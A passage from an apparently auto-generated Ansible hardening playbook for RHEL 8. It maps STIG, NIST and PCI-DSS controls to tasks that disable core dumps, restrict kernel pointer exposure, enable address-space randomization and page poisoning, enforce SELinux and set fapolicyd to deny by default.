    - DISA-STIG-RHEL-08-040286
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_core_bpf_jit_harden

  - name: Disable acquiring, saving, and processing core dumps - Collect systemd Socket
      Units Present in the System
    ansible.builtin.command:
      cmd: systemctl -q list-unit-files --type socket
    register: result_systemd_unit_files
    changed_when: false
    check_mode: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010672
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_systemd-coredump_disabled

  - name: Disable acquiring, saving, and processing core dumps - Ensure systemd-coredump.socket
      is Masked
    ansible.builtin.systemd:
      name: systemd-coredump.socket
      state: stopped
      enabled: false
      masked: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - result_systemd_unit_files.stdout_lines is search(&quot;systemd-coredump.socket&quot;)
    tags:
    - DISA-STIG-RHEL-08-010672
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - service_systemd-coredump_disabled

  - name: Disable core dump backtraces - Search for a section in files
    ansible.builtin.find:
      paths: '{{item.path}}'
      patterns: '{{item.pattern}}'
      contains: ^\s*\[Coredump\]
      read_whole_file: true
      use_regex: true
    register: systemd_dropin_files_with_section
    loop:
    - path: '{{ ''/etc/systemd/coredump.conf'' | dirname }}'
      pattern: '{{ ''/etc/systemd/coredump.conf'' | basename | regex_escape }}'
    - path: /etc/systemd/coredump.conf.d
      pattern: .*\.conf
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010675
    - NIST-800-53-CM-6
    - PCI-DSS-Req-3.2
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - coredump_disable_backtraces
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable core dump backtraces - Count number of files which contain the correct
      section
    ansible.builtin.set_fact:
      count_of_systemd_dropin_files_with_section: '{{systemd_dropin_files_with_section.results
        | map(attribute=''matched'') | list | map(''int'') | sum}}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010675
    - NIST-800-53-CM-6
    - PCI-DSS-Req-3.2
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - coredump_disable_backtraces
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable core dump backtraces - Add missing configuration to correct section
    community.general.ini_file:
      path: '{{item}}'
      section: Coredump
      option: ProcessSizeMax
      value: '0'
      state: present
      no_extra_spaces: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    - count_of_systemd_dropin_files_with_section | int &gt; 0
    loop: '{{systemd_dropin_files_with_section.results | sum(attribute=''files'',
      start=[]) | map(attribute=''path'') | list }}'
    tags:
    - DISA-STIG-RHEL-08-010675
    - NIST-800-53-CM-6
    - PCI-DSS-Req-3.2
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - coredump_disable_backtraces
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable core dump backtraces - Add configuration to new remediation file
    community.general.ini_file:
      path: /etc/systemd/coredump.conf.d/complianceascode_hardening.conf
      section: Coredump
      option: ProcessSizeMax
      value: '0'
      state: present
      no_extra_spaces: true
      create: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    - count_of_systemd_dropin_files_with_section | int == 0
    tags:
    - DISA-STIG-RHEL-08-010675
    - NIST-800-53-CM-6
    - PCI-DSS-Req-3.2
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - coredump_disable_backtraces
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable storing core dump - Search for a section in files
    ansible.builtin.find:
      paths: '{{item.path}}'
      patterns: '{{item.pattern}}'
      contains: ^\s*\[Coredump\]
      read_whole_file: true
      use_regex: true
    register: systemd_dropin_files_with_section
    loop:
    - path: '{{ ''/etc/systemd/coredump.conf'' | dirname }}'
      pattern: '{{ ''/etc/systemd/coredump.conf'' | basename | regex_escape }}'
    - path: /etc/systemd/coredump.conf.d
      pattern: .*\.conf
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010674
    - NIST-800-53-CM-6
    - PCI-DSS-Req-3.2
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - coredump_disable_storage
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable storing core dump - Count number of files which contain the correct
      section
    ansible.builtin.set_fact:
      count_of_systemd_dropin_files_with_section: '{{systemd_dropin_files_with_section.results
        | map(attribute=''matched'') | list | map(''int'') | sum}}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010674
    - NIST-800-53-CM-6
    - PCI-DSS-Req-3.2
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - coredump_disable_storage
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable storing core dump - Add missing configuration to correct section
    community.general.ini_file:
      path: '{{item}}'
      section: Coredump
      option: Storage
      value: none
      state: present
      no_extra_spaces: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    - count_of_systemd_dropin_files_with_section | int &gt; 0
    loop: '{{systemd_dropin_files_with_section.results | sum(attribute=''files'',
      start=[]) | map(attribute=''path'') | list }}'
    tags:
    - DISA-STIG-RHEL-08-010674
    - NIST-800-53-CM-6
    - PCI-DSS-Req-3.2
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - coredump_disable_storage
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable storing core dump - Add configuration to new remediation file
    community.general.ini_file:
      path: /etc/systemd/coredump.conf.d/complianceascode_hardening.conf
      section: Coredump
      option: Storage
      value: none
      state: present
      no_extra_spaces: true
      create: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;systemd&quot; in ansible_facts.packages'
    - count_of_systemd_dropin_files_with_section | int == 0
    tags:
    - DISA-STIG-RHEL-08-010674
    - NIST-800-53-CM-6
    - PCI-DSS-Req-3.2
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - coredump_disable_storage
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Set dirs, files and regex variables
    ansible.builtin.set_fact:
      limits_dropin_dir: /etc/security/limits.d
      limits_dropin_file: /etc/security/limits.d/10-ssg-hardening.conf
      limits_main_file: /etc/security/limits.conf
      limits_correct_regex: ^\s*\*\s+hard\s+core\s+0\s*$
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Find valid drop-ins for core limit
    ansible.builtin.find:
      paths: '{{ limits_dropin_dir }}'
      patterns: '*.conf'
      contains: '{{ limits_correct_regex }}'
      file_type: file
    register: valid_dropins
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Find all drop-ins with any core limit
    ansible.builtin.find:
      paths: '{{ limits_dropin_dir }}'
      patterns: '*.conf'
      contains: ^\s*\*\s+hard\s+core\s+
      file_type: file
    register: all_dropins
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Get invalid drop-ins
    ansible.builtin.set_fact:
      invalid_dropins: '{{ all_dropins.files | rejectattr(''path'', ''in'', valid_dropins.files
        | map(attribute=''path'') | list) | map(attribute=''path'') | list }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Comment invalid * hard core lines in
      drop-ins
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: (^\s*\*\s+hard\s+core\s+.*$)
      replace: '#\1'
    loop: '{{ invalid_dropins }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - invalid_dropins | length &gt; 0
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Check if main limits.conf contains correct
      core limit
    ansible.builtin.find:
      paths: /etc/security
      patterns: limits.conf
      contains: '{{ limits_correct_regex }}'
      file_type: file
    register: main_valid
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not (valid_dropins.matched | default(0) &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Set fact if configuration is valid
    ansible.builtin.set_fact:
      core_limit_valid: '{{ (valid_dropins.matched | default(0)) &gt; 0 or (main_valid.matched
        | default(0)) &gt; 0 }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Ensure drop-in directory exists
    ansible.builtin.file:
      path: '{{ limits_dropin_dir }}'
      state: directory
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not core_limit_valid
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable Core Dumps for All Users - Deploy 10-ssg-hardening.conf drop-in
      with correct core limit
    ansible.builtin.copy:
      dest: '{{ limits_dropin_file }}'
      content: |
        *     hard   core    0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not core_limit_valid
    tags:
    - DISA-STIG-RHEL-08-010673
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_users_coredumps
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Restrict Exposed Kernel Pointer Addresses Access - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040283
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - NIST-800-53-SC-30(5)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kptr_restrict

  - name: Restrict Exposed Kernel Pointer Addresses Access - Find all files that contain
      kernel.kptr_restrict
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.kptr_restrict\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040283
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - NIST-800-53-SC-30(5)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kptr_restrict

  - name: Restrict Exposed Kernel Pointer Addresses Access - Find all files that set
      kernel.kptr_restrict to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.kptr_restrict\s*=\s*1$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040283
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - NIST-800-53-SC-30(5)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kptr_restrict

  - name: Restrict Exposed Kernel Pointer Addresses Access - Comment out any occurrences
      of kernel.kptr_restrict from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*kernel.kptr_restrict
      replace: '#kernel.kptr_restrict'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040283
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - NIST-800-53-SC-30(5)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kptr_restrict

  - name: Restrict Exposed Kernel Pointer Addresses Access - Comment out any occurrences
      of kernel.kptr_restrict from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*kernel.kptr_restrict
      replace: '#kernel.kptr_restrict'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040283
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - NIST-800-53-SC-30(5)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kptr_restrict

  - name: Restrict Exposed Kernel Pointer Addresses Access - Ensure sysctl kernel.kptr_restrict
      is set to 1
    ansible.posix.sysctl:
      name: kernel.kptr_restrict
      value: '1'
      sysctl_file: /etc/sysctl.d/kernel_kptr_restrict.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040283
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - NIST-800-53-SC-30(5)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kptr_restrict

  - name: Enable Randomized Layout of Virtual Address Space - Set fact for sysctl
      paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010430
    - NIST-800-171-3.1.7
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - PCI-DSS-Req-2.2.1
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_randomize_va_space

  - name: Enable Randomized Layout of Virtual Address Space - Find all files that
      contain kernel.randomize_va_space
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.randomize_va_space\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010430
    - NIST-800-171-3.1.7
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - PCI-DSS-Req-2.2.1
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_randomize_va_space

  - name: Enable Randomized Layout of Virtual Address Space - Find all files that
      set kernel.randomize_va_space to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.randomize_va_space\s*=\s*2$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010430
    - NIST-800-171-3.1.7
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - PCI-DSS-Req-2.2.1
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_randomize_va_space

  - name: Enable Randomized Layout of Virtual Address Space - Comment out any occurrences
      of kernel.randomize_va_space from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*kernel.randomize_va_space
      replace: '#kernel.randomize_va_space'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-010430
    - NIST-800-171-3.1.7
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - PCI-DSS-Req-2.2.1
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_randomize_va_space

  - name: Enable Randomized Layout of Virtual Address Space - Comment out any occurrences
      of kernel.randomize_va_space from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*kernel.randomize_va_space
      replace: '#kernel.randomize_va_space'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010430
    - NIST-800-171-3.1.7
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - PCI-DSS-Req-2.2.1
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_randomize_va_space

  - name: Enable Randomized Layout of Virtual Address Space - Ensure sysctl kernel.randomize_va_space
      is set to 2
    ansible.posix.sysctl:
      name: kernel.randomize_va_space
      value: '2'
      sysctl_file: /etc/sysctl.d/kernel_randomize_va_space.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010430
    - NIST-800-171-3.1.7
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-30
    - NIST-800-53-SC-30(2)
    - PCI-DSS-Req-2.2.1
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_randomize_va_space

  - name: Check if page_poison argument is already present in /etc/default/grub
    ansible.builtin.slurp:
      src: /etc/default/grub
    register: etc_default_grub
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010421
    - NIST-800-53-CM-6(a)
    - grub2_page_poison_argument
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Check if page_poison argument is already present
    ansible.builtin.command: /sbin/grubby --info=ALL
    register: grubby_info
    check_mode: false
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010421
    - NIST-800-53-CM-6(a)
    - grub2_page_poison_argument
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Update grub defaults and the bootloader menu
    ansible.builtin.command: /sbin/grubby --update-kernel=ALL --args=&quot;page_poison=1&quot;
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    - (grubby_info.stdout is not search('page_poison=1')) or ((etc_default_grub['content']
      | b64decode) is not search('page_poison=1'))
    tags:
    - DISA-STIG-RHEL-08-010421
    - NIST-800-53-CM-6(a)
    - grub2_page_poison_argument
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Configure SELinux Policy
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/selinux/config
        create: true
        regexp: (?i)^SELINUXTYPE=
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/selinux/config
      ansible.builtin.lineinfile:
        path: /etc/selinux/config
        create: true
        regexp: (?i)^SELINUXTYPE=
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/selinux/config
      ansible.builtin.lineinfile:
        path: /etc/selinux/config
        create: true
        regexp: (?i)^SELINUXTYPE=
        line: SELINUXTYPE={{ var_selinux_policy_name }}
        state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010450
    - NIST-800-171-3.1.2
    - NIST-800-171-3.7.2
    - NIST-800-53-AC-3
    - NIST-800-53-AC-3(3)(a)
    - NIST-800-53-AU-9
    - NIST-800-53-SC-7(21)
    - PCI-DSSv4-1.2
    - PCI-DSSv4-1.2.6
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - selinux_policytype

  - name: Ensure SELinux State is Enforcing - Check current SELinux state
    ansible.builtin.command:
      cmd: getenforce
    register: current_selinux_state
    check_mode: false
    changed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010170
    - NIST-800-171-3.1.2
    - NIST-800-171-3.7.2
    - NIST-800-53-AC-3
    - NIST-800-53-AC-3(3)(a)
    - NIST-800-53-AU-9
    - NIST-800-53-SC-7(21)
    - PCI-DSSv4-1.2
    - PCI-DSSv4-1.2.6
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy
    - selinux_state

  - name: Ensure SELinux State is Enforcing
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/selinux/config
        create: true
        regexp: (?i)^SELINUX=
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/selinux/config
      ansible.builtin.lineinfile:
        path: /etc/selinux/config
        create: true
        regexp: (?i)^SELINUX=
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/selinux/config
      ansible.builtin.lineinfile:
        path: /etc/selinux/config
        create: true
        regexp: (?i)^SELINUX=
        line: SELINUX={{ var_selinux_state }}
        state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010170
    - NIST-800-171-3.1.2
    - NIST-800-171-3.7.2
    - NIST-800-53-AC-3
    - NIST-800-53-AC-3(3)(a)
    - NIST-800-53-AU-9
    - NIST-800-53-SC-7(21)
    - PCI-DSSv4-1.2
    - PCI-DSSv4-1.2.6
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy
    - selinux_state

  - name: Ensure SELinux State is Enforcing - Mark system to relabel SELinux on next
      boot
    ansible.builtin.file:
      path: /.autorelabel
      state: touch
      access_time: preserve
      modification_time: preserve
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - current_selinux_state.stdout | lower != var_selinux_state
    tags:
    - DISA-STIG-RHEL-08-010170
    - NIST-800-171-3.1.2
    - NIST-800-171-3.7.2
    - NIST-800-53-AC-3
    - NIST-800-53-AC-3(3)(a)
    - NIST-800-53-AU-9
    - NIST-800-53-SC-7(21)
    - PCI-DSSv4-1.2
    - PCI-DSSv4-1.2.6
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy
    - selinux_state

  - name: Configure Fapolicy Module to Employ a Deny-all, Permit-by-exception Policy
      to Allow the Execution of Authorized Software Programs. - Ensure a Final Rule
      Denying Everything
    ansible.builtin.copy:
      content: |
        # Red Hat KCS 7003854 (https://access.redhat.com/solutions/7003854)
        deny perm=any all : all
      dest: /etc/fapolicyd/rules.d/99-deny-everything.rules
      owner: root
      group: fapolicyd
      mode: '0644'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;fapolicyd&quot; in ansible_facts.packages'
    register: result_fapolicyd_final_rule
    tags:
    - DISA-STIG-RHEL-08-040137
    - NIST-800-53-CM-6 b
    - NIST-800-53-CM-7 (2)
    - NIST-800-53-CM-7 (5) (b)
    - fapolicy_default_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Fapolicy Module to Employ a Deny-all, Permit-by-exception Policy
      to Allow the Execution of Authorized Software Programs. - Ensure fapolicyd is
      Not Permissive
    ansible.builtin.lineinfile:
      path: /etc/fapolicyd/fapolicyd.conf
      regexp: ^(permissive\s*=).*$
      line: \1 0
      backrefs: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;fapolicyd&quot; in ansible_facts.packages'
    register: result_fapolicyd_enforced
    tags:
    - DISA-STIG-RHEL-08-040137
    - NIST-800-53-CM-6 b
    - NIST-800-53-CM-7 (2)
    - NIST-800-53-CM-7 (5) (b)
    - fapolicy_default_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Fapolicy Module to Employ a Deny-all, Permit-by-exception Policy
      to Allow the Execution of Authorized Software Programs. - Restart fapolicyd
      If Permissive Mode or Final Rule is Changed
    ansible.builtin.service:
      name: fapolicyd
      state: restarted
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;fapolicyd&quot; in ansible_facts.packages'
    - result_fapolicyd_final_rule is changed or result_fapolicyd_enforced is changed
    tags:
    - DISA-STIG-RHEL-08-040137
